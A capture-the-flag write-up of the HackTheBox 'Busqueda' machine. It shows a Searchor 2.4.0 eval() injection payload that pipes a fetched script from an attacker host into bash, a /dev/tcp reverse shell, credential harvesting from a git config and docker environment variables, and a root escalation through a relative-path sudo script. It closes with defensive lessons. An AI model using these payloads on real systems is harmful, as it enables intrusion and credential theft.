EASY LINUX
Busqueda
March 17, 2026 12 min read
Command Injectioneval()sudo
Target IP
10.129.2.7
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Standard two-port scan. The web app footer was more interesting than nmap — it told me exactly what I needed to know about the attack surface.

$ nmap -sC -sV -oN nmap/initial 10.129.2.7
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52 (Ubuntu)
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-redirect: http://busqueda.htb/
  
$ echo "10.129.2.7 busqueda.htb" >> /etc/hosts
  

The web app is "Searcher" — a search aggregation tool that proxies queries to various search engines. The footer shows Powered by Searchor 2.4.0 and links to the GitHub repo. That version number is the key.

Enumeration

Searchor 2.4.0 has a known code injection vulnerability. Looking at the source code on GitHub (the footer conveniently links it), the search() function in Searchor uses Python's eval() to construct a URL from user-supplied engine name and query:

def search(engine, query, open, copy):
    try:
        url = eval(
            f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
        )
  

The query parameter goes directly into the eval string. A single quote breaks out of the string literal context, and Python expressions execute inline. This is textbook eval() injection.

Key Finding
Searchor 2.4.0 passes the user's search query directly into Python's eval(). Injecting a single quote followed by Python expressions achieves arbitrary code execution as the web server user.

Foothold

I crafted a payload that breaks out of the string literal and calls os.system() to execute a reverse shell. The payload is injected into the query field of the search form.

# reverse shell script served from my machine
$ cat s.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.X/4444 0>&1
$ python3 -m http.server 80

# search form payload (query field)
',__import__('os').system('curl http://10.10.14.X/s.sh|bash'))#
  
connect to [10.10.14.X] from (UNKNOWN) [10.129.2.7] 49276
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
  

Shell as svc. I immediately looked for credentials in the web application directory.

svc@busqueda:/var/www/app$ cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
[remote "origin"]
	url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
	fetch = +refs/heads/*:refs/remotes/origin/*
  

Gitea credentials in the git remote URL: cody:jh1usoih2bkjaspwe92. Added gitea.searcher.htb to hosts and logged in — found repositories and an administrator account to target.

Privilege Escalation

svc@busqueda:~$ sudo -l
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
  

The system-checkup.py script accepts subcommands. I ran it with docker-inspect to dump container environment variables:

svc@busqueda:~$ sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .Config}}' gitea
{"Env":["USER_UID=115","USER_GID=121",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"GITEA__database__USER=gitea",
"GITEA__security__SECRET_KEY=..."]}
  

Logged into Gitea as administrator with the DB password — found the private repo containing system-checkup.py source. The script has a full-checkup subcommand that calls ./full-checkup.sh — a relative path. Running it from a directory I control means my full-checkup.sh runs as root.

svc@busqueda:/tmp$ cat > full-checkup.sh << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
svc@busqueda:/tmp$ chmod +x full-checkup.sh
svc@busqueda:/tmp$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Done!
svc@busqueda:/tmp$ /bin/bash -p
bash-5.1# id
uid=1000(svc) gid=1000(svc) euid=0(root)
  

Flags

User Flag
/home/svc/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Never use eval() with user input — use a whitelist of allowed engine names and query the corresponding function directly. Credentials in git remote URLs are stored in plaintext and readable by anyone with filesystem access. Sudo scripts that reference relative paths must use absolute paths exclusively.
← All Posts